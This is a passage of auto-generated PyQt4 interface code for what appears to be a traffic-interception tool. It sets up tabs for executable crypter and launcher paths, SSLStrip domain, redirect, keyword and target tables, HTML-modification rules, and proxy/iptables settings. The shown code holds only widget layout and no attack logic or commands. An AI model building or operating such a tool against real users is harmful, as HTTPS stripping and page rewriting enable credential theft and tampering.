self.OutputText.setFrameShape(QtGui.QFrame.StyledPanel)
self.OutputText.setFrameShadow(QtGui.QFrame.Plain)
self.OutputText.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.OutputText.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.OutputText.setTabChangesFocus(True)
self.OutputText.setUndoRedoEnabled(True)
self.OutputText.setLineWrapMode(QtGui.QTextEdit.NoWrap)
self.OutputText.setReadOnly(False)
self.OutputText.setAcceptRichText(False)
self.OutputText.setOpenExternalLinks(False)
self.OutputText.setOpenLinks(False)
self.OutputText.setObjectName(_fromUtf8("OutputText"))
self.horizontalLayout_4.addWidget(self.OutputText)
self.verticalLayout_2.addLayout(self.horizontalLayout_4)
self.horizontalLayout_3 = QtGui.QHBoxLayout()
self.horizontalLayout_3.setObjectName(_fromUtf8("horizontalLayout_3"))
self.label_3 = QtGui.QLabel(self.layoutWidget)
font = QtGui.QFont()
font.setFamily(_fromUtf8("DIN Alternate"))
font.setPointSize(10)
font.setBold(True)
font.setWeight(75)
self.label_3.setFont(font)
self.label_3.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter)
self.label_3.setObjectName(_fromUtf8("label_3"))
self.horizontalLayout_3.addWidget(self.label_3)
self.MontoolText = QtGui.QTextBrowser(self.layoutWidget)
font = QtGui.QFont()
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.MontoolText.setFont(font)
self.MontoolText.viewport().setProperty("cursor", QtGui.QCursor(QtCore.Qt.IBeamCursor))
self.MontoolText.setFrameShape(QtGui.QFrame.StyledPanel)
self.MontoolText.setFrameShadow(QtGui.QFrame.Plain)
self.MontoolText.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.MontoolText.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.MontoolText.setTabChangesFocus(True)
self.MontoolText.setUndoRedoEnabled(True)
self.MontoolText.setLineWrapMode(QtGui.QTextEdit.NoWrap)
self.MontoolText.setReadOnly(False)
self.MontoolText.setAcceptRichText(False)
self.MontoolText.setOpenExternalLinks(False)
self.MontoolText.setOpenLinks(False)
self.MontoolText.setObjectName(_fromUtf8("MontoolText"))
self.horizontalLayout_3.addWidget(self.MontoolText)
self.verticalLayout_2.addLayout(self.horizontalLayout_3)
self.horizontalLayout_2 = QtGui.QHBoxLayout()
self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2"))
self.label_4 = QtGui.QLabel(self.layoutWidget)
font = QtGui.QFont()
font.setFamily(_fromUtf8("DIN Alternate"))
font.setPointSize(10)
font.setBold(True)
font.setWeight(75)
self.label_4.setFont(font)
self.label_4.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter)
self.label_4.setObjectName(_fromUtf8("label_4"))
self.horizontalLayout_2.addWidget(self.label_4)
self.pathMontoolText = QtGui.QTextBrowser(self.layoutWidget)
font = QtGui.QFont()
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.pathMontoolText.setFont(font)
self.pathMontoolText.viewport().setProperty("cursor", QtGui.QCursor(QtCore.Qt.IBeamCursor))
self.pathMontoolText.setFrameShape(QtGui.QFrame.StyledPanel)
self.pathMontoolText.setFrameShadow(QtGui.QFrame.Plain)
self.pathMontoolText.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.pathMontoolText.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.pathMontoolText.setTabChangesFocus(True)
self.pathMontoolText.setUndoRedoEnabled(True)
self.pathMontoolText.setLineWrapMode(QtGui.QTextEdit.NoWrap)
self.pathMontoolText.setReadOnly(False)
self.pathMontoolText.setAcceptRichText(False)
self.pathMontoolText.setOpenExternalLinks(False)
self.pathMontoolText.setOpenLinks(False)
self.pathMontoolText.setObjectName(_fromUtf8("pathMontoolText"))
self.horizontalLayout_2.addWidget(self.pathMontoolText)
self.verticalLayout_2.addLayout(self.horizontalLayout_2)
self.horizontalLayout = QtGui.QHBoxLayout()
self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout"))
self.label_5 = QtGui.QLabel(self.layoutWidget)
font = QtGui.QFont()
font.setFamily(_fromUtf8("DIN Alternate"))
font.setPointSize(10)
font.setBold(True)
font.setWeight(75)
self.label_5.setFont(font)
self.label_5.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter)
self.label_5.setObjectName(_fromUtf8("label_5"))
self.horizontalLayout.addWidget(self.label_5)
self.pathOrigText = QtGui.QTextBrowser(self.layoutWidget)
font = QtGui.QFont()
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.pathOrigText.setFont(font)
self.pathOrigText.viewport().setProperty("cursor", QtGui.QCursor(QtCore.Qt.IBeamCursor))
self.pathOrigText.setFrameShape(QtGui.QFrame.StyledPanel)
self.pathOrigText.setFrameShadow(QtGui.QFrame.Plain)
self.pathOrigText.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.pathOrigText.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.pathOrigText.setTabChangesFocus(True)
self.pathOrigText.setUndoRedoEnabled(True)
self.pathOrigText.setLineWrapMode(QtGui.QTextEdit.NoWrap)
self.pathOrigText.setReadOnly(False)
self.pathOrigText.setAcceptRichText(False)
self.pathOrigText.setOpenExternalLinks(False)
self.pathOrigText.setOpenLinks(False)
self.pathOrigText.setObjectName(_fromUtf8("pathOrigText"))
self.horizontalLayout.addWidget(self.pathOrigText)
self.verticalLayout_2.addLayout(self.horizontalLayout)
self.layoutWidget1 = QtGui.QWidget(self.EXEconf)
self.layoutWidget1.setGeometry(QtCore.QRect(790, 30, 33, 131))
font = QtGui.QFont()
font.setPointSize(9)
self.layoutWidget1.setFont(font)
self.layoutWidget1.setObjectName(_fromUtf8("layoutWidget1"))
self.verticalLayout_3 = QtGui.QVBoxLayout(self.layoutWidget1)
self.verticalLayout_3.setMargin(0)
self.verticalLayout_3.setObjectName(_fromUtf8("verticalLayout_3"))
self.AddCrypterButton = QtGui.QToolButton(self.layoutWidget1)
font = QtGui.QFont()
font.setPointSize(9)
self.AddCrypterButton.setFont(font)
self.AddCrypterButton.setObjectName(_fromUtf8("AddCrypterButton"))
self.verticalLayout_3.addWidget(self.AddCrypterButton)
self.AddLauncherButton = QtGui.QToolButton(self.layoutWidget1)
font = QtGui.QFont()
font.setPointSize(9)
self.AddLauncherButton.setFont(font)
self.AddLauncherButton.setObjectName(_fromUtf8("AddLauncherButton"))
self.verticalLayout_3.addWidget(self.AddLauncherButton)
self.AddOutputButton = QtGui.QToolButton(self.layoutWidget1)
font = QtGui.QFont()
font.setPointSize(9)
self.AddOutputButton.setFont(font)
self.AddOutputButton.setObjectName(_fromUtf8("AddOutputButton"))
self.verticalLayout_3.addWidget(self.AddOutputButton)
self.AddMontoolButton = QtGui.QToolButton(self.layoutWidget1)
font = QtGui.QFont()
font.setPointSize(9)
self.AddMontoolButton.setFont(font)
self.AddMontoolButton.setObjectName(_fromUtf8("AddMontoolButton"))
self.verticalLayout_3.addWidget(self.AddMontoolButton)
self.tabWidget.addTab(self.EXEconf, _fromUtf8(""))
self.HTMLconf = QtGui.QWidget()
font = QtGui.QFont()
font.setPointSize(12)
font.setBold(True)
font.setWeight(75)
self.HTMLconf.setFont(font)
self.HTMLconf.setObjectName(_fromUtf8("HTMLconf"))
self.tabWidget_2 = QtGui.QTabWidget(self.HTMLconf)
self.tabWidget_2.setGeometry(QtCore.QRect(10, 0, 961, 521))
font = QtGui.QFont()
font.setPointSize(9)
self.tabWidget_2.setFont(font)
self.tabWidget_2.setObjectName(_fromUtf8("tabWidget_2"))
self.SSLStrip = QtGui.QWidget()
self.SSLStrip.setObjectName(_fromUtf8("SSLStrip"))
self.TableDomSSLStrip = QtGui.QTableWidget(self.SSLStrip)
self.TableDomSSLStrip.setGeometry(QtCore.QRect(10, 30, 291, 171))
font = QtGui.QFont()
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.TableDomSSLStrip.setFont(font)
self.TableDomSSLStrip.setColumnCount(3)
self.TableDomSSLStrip.setObjectName(_fromUtf8("TableDomSSLStrip"))
self.TableDomSSLStrip.setRowCount(0)
item = QtGui.QTableWidgetItem()
self.TableDomSSLStrip.setHorizontalHeaderItem(0, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableDomSSLStrip.setHorizontalHeaderItem(1, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableDomSSLStrip.setHorizontalHeaderItem(2, item)
self.TableDomSSLStrip.horizontalHeader().setCascadingSectionResizes(True)
self.TableDomSSLStrip.horizontalHeader().setStretchLastSection(True)
self.TableDomSSLStrip.verticalHeader().setVisible(False)
self.TableDomSSLStrip.verticalHeader().setStretchLastSection(False)
self.TableTransSSLStrip = QtGui.QTableWidget(self.SSLStrip)
self.TableTransSSLStrip.setGeometry(QtCore.QRect(10, 240, 291, 231))
font = QtGui.QFont()
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.TableTransSSLStrip.setFont(font)
self.TableTransSSLStrip.setColumnCount(3)
self.TableTransSSLStrip.setObjectName(_fromUtf8("TableTransSSLStrip"))
self.TableTransSSLStrip.setRowCount(0)
item = QtGui.QTableWidgetItem()
self.TableTransSSLStrip.setHorizontalHeaderItem(0, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableTransSSLStrip.setHorizontalHeaderItem(1, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableTransSSLStrip.setHorizontalHeaderItem(2, item)
self.TableTransSSLStrip.horizontalHeader().setCascadingSectionResizes(True)
self.TableTransSSLStrip.horizontalHeader().setStretchLastSection(True)
self.TableTransSSLStrip.verticalHeader().setVisible(False)
self.TableTransSSLStrip.verticalHeader().setStretchLastSection(False)
self.TableRedirSSLStrip = QtGui.QTableWidget(self.SSLStrip)
self.TableRedirSSLStrip.setGeometry(QtCore.QRect(310, 240, 621, 231))
font = QtGui.QFont()
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.TableRedirSSLStrip.setFont(font)
self.TableRedirSSLStrip.setColumnCount(5)
self.TableRedirSSLStrip.setObjectName(_fromUtf8("TableRedirSSLStrip"))
self.TableRedirSSLStrip.setRowCount(0)
item = QtGui.QTableWidgetItem()
self.TableRedirSSLStrip.setHorizontalHeaderItem(0, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableRedirSSLStrip.setHorizontalHeaderItem(1, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableRedirSSLStrip.setHorizontalHeaderItem(2, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableRedirSSLStrip.setHorizontalHeaderItem(3, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableRedirSSLStrip.setHorizontalHeaderItem(4, item)
self.TableRedirSSLStrip.horizontalHeader().setCascadingSectionResizes(True)
self.TableRedirSSLStrip.horizontalHeader().setDefaultSectionSize(200)
self.TableRedirSSLStrip.horizontalHeader().setStretchLastSection(True)
self.TableRedirSSLStrip.verticalHeader().setVisible(False)
self.TableRedirSSLStrip.verticalHeader().setStretchLastSection(False)
self.AddDomSSLStrip = QtGui.QPushButton(self.SSLStrip)
self.AddDomSSLStrip.setGeometry(QtCore.QRect(10, 0, 231, 21))
font = QtGui.QFont()
font.setPointSize(8)
self.AddDomSSLStrip.setFont(font)
self.AddDomSSLStrip.setIcon(icon3)
self.AddDomSSLStrip.setIconSize(QtCore.QSize(12, 12))
self.AddDomSSLStrip.setObjectName(_fromUtf8("AddDomSSLStrip"))
self.AddRedirSSLStrip = QtGui.QPushButton(self.SSLStrip)
self.AddRedirSSLStrip.setGeometry(QtCore.QRect(310, 210, 151, 21))
font = QtGui.QFont()
font.setPointSize(8)
self.AddRedirSSLStrip.setFont(font)
self.AddRedirSSLStrip.setIcon(icon3)
self.AddRedirSSLStrip.setIconSize(QtCore.QSize(12, 12))
self.AddRedirSSLStrip.setObjectName(_fromUtf8("AddRedirSSLStrip"))
self.AddTransSSLStrip = QtGui.QPushButton(self.SSLStrip)
self.AddTransSSLStrip.setGeometry(QtCore.QRect(10, 210, 221, 21))
font = QtGui.QFont()
font.setPointSize(8)
self.AddTransSSLStrip.setFont(font)
self.AddTransSSLStrip.setIcon(icon3)
self.AddTransSSLStrip.setIconSize(QtCore.QSize(12, 12))
self.AddTransSSLStrip.setObjectName(_fromUtf8("AddTransSSLStrip"))
self.login_exito_redir = QtGui.QCheckBox(self.SSLStrip)
self.login_exito_redir.setGeometry(QtCore.QRect(730, 90, 221, 18))
font = QtGui.QFont()
font.setPointSize(9)
self.login_exito_redir.setFont(font)
self.login_exito_redir.setObjectName(_fromUtf8("login_exito_redir"))
self.TableKeywSSLStrip = QtGui.QTableWidget(self.SSLStrip)
self.TableKeywSSLStrip.setGeometry(QtCore.QRect(540, 30, 171, 171))
font = QtGui.QFont()
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.TableKeywSSLStrip.setFont(font)
self.TableKeywSSLStrip.setColumnCount(2)
self.TableKeywSSLStrip.setObjectName(_fromUtf8("TableKeywSSLStrip"))
self.TableKeywSSLStrip.setRowCount(0)
item = QtGui.QTableWidgetItem()
self.TableKeywSSLStrip.setHorizontalHeaderItem(0, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableKeywSSLStrip.setHorizontalHeaderItem(1, item)
self.TableKeywSSLStrip.horizontalHeader().setCascadingSectionResizes(True)
self.TableKeywSSLStrip.horizontalHeader().setStretchLastSection(True)
self.TableKeywSSLStrip.verticalHeader().setVisible(False)
self.TableKeywSSLStrip.verticalHeader().setStretchLastSection(False)
self.TableTargetsSSLStrip = QtGui.QTableWidget(self.SSLStrip)
self.TableTargetsSSLStrip.setGeometry(QtCore.QRect(310, 30, 221, 171))
font = QtGui.QFont()
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.TableTargetsSSLStrip.setFont(font)
self.TableTargetsSSLStrip.setColumnCount(2)
self.TableTargetsSSLStrip.setObjectName(_fromUtf8("TableTargetsSSLStrip"))
self.TableTargetsSSLStrip.setRowCount(0)
item = QtGui.QTableWidgetItem()
self.TableTargetsSSLStrip.setHorizontalHeaderItem(0, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableTargetsSSLStrip.setHorizontalHeaderItem(1, item)
self.TableTargetsSSLStrip.horizontalHeader().setCascadingSectionResizes(True)
self.TableTargetsSSLStrip.horizontalHeader().setStretchLastSection(True)
self.TableTargetsSSLStrip.verticalHeader().setVisible(False)
self.TableTargetsSSLStrip.verticalHeader().setStretchLastSection(False)
self.AddTargetsSSLStrip = QtGui.QPushButton(self.SSLStrip)
self.AddTargetsSSLStrip.setGeometry(QtCore.QRect(310, 0, 101, 21))
font = QtGui.QFont()
font.setPointSize(8)
self.AddTargetsSSLStrip.setFont(font)
self.AddTargetsSSLStrip.setIcon(icon3)
self.AddTargetsSSLStrip.setIconSize(QtCore.QSize(12, 12))
self.AddTargetsSSLStrip.setObjectName(_fromUtf8("AddTargetsSSLStrip"))
self.AddKeywordSSLStrip = QtGui.QPushButton(self.SSLStrip)
self.AddKeywordSSLStrip.setGeometry(QtCore.QRect(540, 0, 131, 21))
font = QtGui.QFont()
font.setPointSize(8)
self.AddKeywordSSLStrip.setFont(font)
self.AddKeywordSSLStrip.setIcon(icon3)
self.AddKeywordSSLStrip.setIconSize(QtCore.QSize(12, 12))
self.AddKeywordSSLStrip.setObjectName(_fromUtf8("AddKeywordSSLStrip"))
self.sslstrip_redir_prefix = QtGui.QTextBrowser(self.SSLStrip)
self.sslstrip_redir_prefix.setGeometry(QtCore.QRect(730, 50, 114, 16))
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.sslstrip_redir_prefix.sizePolicy().hasHeightForWidth())
self.sslstrip_redir_prefix.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setFamily(_fromUtf8("Courier New"))
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.sslstrip_redir_prefix.setFont(font)
self.sslstrip_redir_prefix.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.sslstrip_redir_prefix.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.sslstrip_redir_prefix.setTabChangesFocus(True)
self.sslstrip_redir_prefix.setUndoRedoEnabled(True)
self.sslstrip_redir_prefix.setLineWrapMode(QtGui.QTextEdit.NoWrap)
self.sslstrip_redir_prefix.setReadOnly(False)
self.sslstrip_redir_prefix.setOverwriteMode(True)
self.sslstrip_redir_prefix.setAcceptRichText(False)
self.sslstrip_redir_prefix.setObjectName(_fromUtf8("sslstrip_redir_prefix"))
self.label_26 = QtGui.QLabel(self.SSLStrip)
self.label_26.setGeometry(QtCore.QRect(731, 31, 211, 16))
font = QtGui.QFont()
font.setFamily(_fromUtf8("DIN Alternate"))
font.setPointSize(9)
self.label_26.setFont(font)
self.label_26.setObjectName(_fromUtf8("label_26"))
self.tabWidget_2.addTab(self.SSLStrip, _fromUtf8(""))
self.htmlMOD = QtGui.QWidget()
self.htmlMOD.setObjectName(_fromUtf8("htmlMOD"))
self.TableHTMLChange = QtGui.QTableWidget(self.htmlMOD)
self.TableHTMLChange.setGeometry(QtCore.QRect(10, 40, 921, 431))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(212, 208, 200))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)
self.TableHTMLChange.setPalette(palette)
font = QtGui.QFont()
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.TableHTMLChange.setFont(font)
self.TableHTMLChange.setAcceptDrops(True)
self.TableHTMLChange.setAutoFillBackground(False)
self.TableHTMLChange.setFrameShape(QtGui.QFrame.NoFrame)
self.TableHTMLChange.setMidLineWidth(1)
self.TableHTMLChange.setDragEnabled(False)
self.TableHTMLChange.setDragDropMode(QtGui.QAbstractItemView.DropOnly)
self.TableHTMLChange.setDefaultDropAction(QtCore.Qt.CopyAction)
self.TableHTMLChange.setAlternatingRowColors(True)
self.TableHTMLChange.setSelectionMode(QtGui.QAbstractItemView.ContiguousSelection)
self.TableHTMLChange.setRowCount(0)
self.TableHTMLChange.setColumnCount(5)
self.TableHTMLChange.setObjectName(_fromUtf8("TableHTMLChange"))
item = QtGui.QTableWidgetItem()
self.TableHTMLChange.setHorizontalHeaderItem(0, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableHTMLChange.setHorizontalHeaderItem(1, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableHTMLChange.setHorizontalHeaderItem(2, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableHTMLChange.setHorizontalHeaderItem(3, item)
item = QtGui.QTableWidgetItem()
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
item.setFont(font)
self.TableHTMLChange.setHorizontalHeaderItem(4, item)
self.TableHTMLChange.horizontalHeader().setCascadingSectionResizes(False)
self.TableHTMLChange.horizontalHeader().setDefaultSectionSize(300)
self.TableHTMLChange.horizontalHeader().setStretchLastSection(True)
self.TableHTMLChange.verticalHeader().setVisible(False)
self.TableHTMLChange.verticalHeader().setCascadingSectionResizes(False)
self.TableHTMLChange.verticalHeader().setDefaultSectionSize(30)
self.TableHTMLChange.verticalHeader().setHighlightSections(False)
self.TableHTMLChange.verticalHeader().setSortIndicatorShown(False)
self.TableHTMLChange.verticalHeader().setStretchLastSection(False)
self.AddHTMLChange = QtGui.QPushButton(self.htmlMOD)
self.AddHTMLChange.setGeometry(QtCore.QRect(20, 10, 121, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.AddHTMLChange.setFont(font)
self.AddHTMLChange.setIcon(icon3)
self.AddHTMLChange.setIconSize(QtCore.QSize(12, 12))
self.AddHTMLChange.setObjectName(_fromUtf8("AddHTMLChange"))
self.tabWidget_2.addTab(self.htmlMOD, _fromUtf8(""))
self.HTMLLoadButton = QtGui.QPushButton(self.HTMLconf)
self.HTMLLoadButton.setGeometry(QtCore.QRect(20, 530, 181, 20))
font = QtGui.QFont()
font.setPointSize(9)
self.HTMLLoadButton.setFont(font)
self.HTMLLoadButton.setObjectName(_fromUtf8("HTMLLoadButton"))
self.HTMLSaveButton = QtGui.QPushButton(self.HTMLconf)
self.HTMLSaveButton.setGeometry(QtCore.QRect(210, 530, 191, 20))
font = QtGui.QFont()
font.setPointSize(9)
self.HTMLSaveButton.setFont(font)
self.HTMLSaveButton.setObjectName(_fromUtf8("HTMLSaveButton"))
self.tabWidget.addTab(self.HTMLconf, _fromUtf8(""))
self.PROXYconf = QtGui.QWidget()
font = QtGui.QFont()
font.setPointSize(12)
font.setBold(True)
font.setWeight(75)
self.PROXYconf.setFont(font)
self.PROXYconf.setObjectName(_fromUtf8("PROXYconf"))
self.frame = QtGui.QFrame(self.PROXYconf)
self.frame.setGeometry(QtCore.QRect(10, 10, 651, 151))
font = QtGui.QFont()
font.setPointSize(9)
self.frame.setFont(font)
self.frame.setFrameShape(QtGui.QFrame.StyledPanel)
self.frame.setFrameShadow(QtGui.QFrame.Raised)
self.frame.setObjectName(_fromUtf8("frame"))
self.label_11 = QtGui.QLabel(self.frame)
self.label_11.setGeometry(QtCore.QRect(10, 0, 251, 16))
font = QtGui.QFont()
font.setPointSize(9)
self.label_11.setFont(font)
self.label_11.setObjectName(_fromUtf8("label_11"))
self.layoutWidget2 = QtGui.QWidget(self.frame)
self.layoutWidget2.setGeometry(QtCore.QRect(0, 20, 451, 101))
self.layoutWidget2.setObjectName(_fromUtf8("layoutWidget2"))
self.verticalLayout = QtGui.QVBoxLayout(self.layoutWidget2)
self.verticalLayout.setMargin(0)
self.verticalLayout.setObjectName(_fromUtf8("verticalLayout"))
self.horizontalLayout_7 = QtGui.QHBoxLayout()
self.horizontalLayout_7.setObjectName(_fromUtf8("horizontalLayout_7"))
self.label_7 = QtGui.QLabel(self.layoutWidget2)
font = QtGui.QFont()
font.setFamily(_fromUtf8("DIN Alternate"))
font.setPointSize(9)
self.label_7.setFont(font)
self.label_7.setObjectName(_fromUtf8("label_7"))
self.horizontalLayout_7.addWidget(self.label_7)
self.TCPportText = QtGui.QTextBrowser(self.layoutWidget2)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.TCPportText.sizePolicy().hasHeightForWidth())
self.TCPportText.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setFamily(_fromUtf8("Courier New"))
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.TCPportText.setFont(font)
self.TCPportText.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.TCPportText.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.TCPportText.setTabChangesFocus(True)
self.TCPportText.setUndoRedoEnabled(True)
self.TCPportText.setLineWrapMode(QtGui.QTextEdit.NoWrap)
self.TCPportText.setReadOnly(False)
self.TCPportText.setOverwriteMode(True)
self.TCPportText.setAcceptRichText(False)
self.TCPportText.setObjectName(_fromUtf8("TCPportText"))
self.horizontalLayout_7.addWidget(self.TCPportText)
self.verticalLayout.addLayout(self.horizontalLayout_7)
self.horizontalLayout_8 = QtGui.QHBoxLayout()
self.horizontalLayout_8.setObjectName(_fromUtf8("horizontalLayout_8"))
self.label_8 = QtGui.QLabel(self.layoutWidget2)
font = QtGui.QFont()
font.setFamily(_fromUtf8("DIN Alternate"))
font.setPointSize(9)
self.label_8.setFont(font)
self.label_8.setObjectName(_fromUtf8("label_8"))
self.horizontalLayout_8.addWidget(self.label_8)
self.interfaceText = QtGui.QTextBrowser(self.layoutWidget2)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.interfaceText.sizePolicy().hasHeightForWidth())
self.interfaceText.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setFamily(_fromUtf8("Courier New"))
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.interfaceText.setFont(font)
self.interfaceText.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.interfaceText.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.interfaceText.setTabChangesFocus(True)
self.interfaceText.setUndoRedoEnabled(True)
self.interfaceText.setLineWrapMode(QtGui.QTextEdit.NoWrap)
self.interfaceText.setReadOnly(False)
self.interfaceText.setOverwriteMode(True)
self.interfaceText.setAcceptRichText(False)
self.interfaceText.setObjectName(_fromUtf8("interfaceText"))
self.horizontalLayout_8.addWidget(self.interfaceText)
self.verticalLayout.addLayout(self.horizontalLayout_8)
self.iptablesCheckBox = QtGui.QCheckBox(self.layoutWidget2)
font = QtGui.QFont()
font.setFamily(_fromUtf8("DIN Alternate"))
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
font.setKerning(True)
self.iptablesCheckBox.setFont(font)
self.iptablesCheckBox.setObjectName(_fromUtf8("iptablesCheckBox"))
self.verticalLayout.addWidget(self.iptablesCheckBox)
self.horizontalLayout_9 = QtGui.QHBoxLayout()
self.horizontalLayout_9.setObjectName(_fromUtf8("horizontalLayout_9"))
self.label_9 = QtGui.QLabel(self.layoutWidget2)
font = QtGui.QFont()
font.setFamily(_fromUtf8("DIN Alternate"))
font.setPointSize(9)
self.label_9.setFont(font)
self.label_9.setObjectName(_fromUtf8("label_9"))
self.horizontalLayout_9.addWidget(self.label_9)
self.iptablesPathText = QtGui.QTextBrowser(self.layoutWidget2)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.iptablesPathText.sizePolicy().hasHeightForWidth())
self.iptablesPathText.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setFamily(_fromUtf8("Courier New"))
font.setPointSize(9)
font.setBold(False)
font.setWeight(50)
self.iptablesPathText.setFont(font)
self.iptablesPathText.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.iptablesPathText.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
self.iptablesPathText.setTabChangesFocus(True)
self.iptablesPathText.setUndoRedoEnabled(True)
self.iptablesPathText.setLineWrapMode(QtGui.QTextEdit.NoWrap)
self.iptablesPathText.setReadOnly(False)
self.iptablesPathText.setOverwriteMode(True)
self.iptablesPathText.setAcceptRichText(False)
self.iptablesPathText.setObjectName(_fromUtf8("iptablesPathText"))
self.horizontalLayout_9.addWidget(self.iptablesPathText)
self.iptablesPathButton = QtGui.QToolButton(self.layoutWidget2)
font = QtGui.QFont()
font.setPointSize(9)
self.iptablesPathButton.setFont(font)
self.iptablesPathButton.setObjectName(_fromUtf8("iptablesPathButton"))
self.horizontalLayout_9.addWidget(self.iptablesPathButton)
self.verticalLayout.addLayout(self.horizontalLayout_9)
self.frame_5 = QtGui.QFrame(self.PROXYconf)
self.frame_5.setGeometry(QtCore.QRect(10, 170, 651, 171))
font = QtGui.QFont()
font.setPointSize(9)
self.frame_5.setFont(font)
self.frame_5.setFrameShape(QtGui.QFrame.StyledPanel)
self.frame_5.setFrameShadow(QtGui.QFrame.Raised)
self.frame_5.setObjectName(_fromUtf8("frame_5"))
self.layoutWidget_2 = QtGui.QWidget(self.frame_5)
self.layoutWidget_2.setGeometry(QtCore.QRect(10, 30, 621, 21))
font = QtGui.QFont()
font.setPointSize(9)
self.layoutWidget_2.setFont(font)
self.layoutWidget_2.setObjectName(_fromUtf8("layoutWidget_2"))
self.horizontalLayout_15 = QtGui.QHBoxLayout(self.layoutWidget_2)
self.horizontalLayout_15.setMargin(0)
self.horizontalLayout_15.setObjectName(_fromUtf8("horizontalLayout_15"))
self.label_22 = QtGui.QLabel(self.layoutWidget_2)
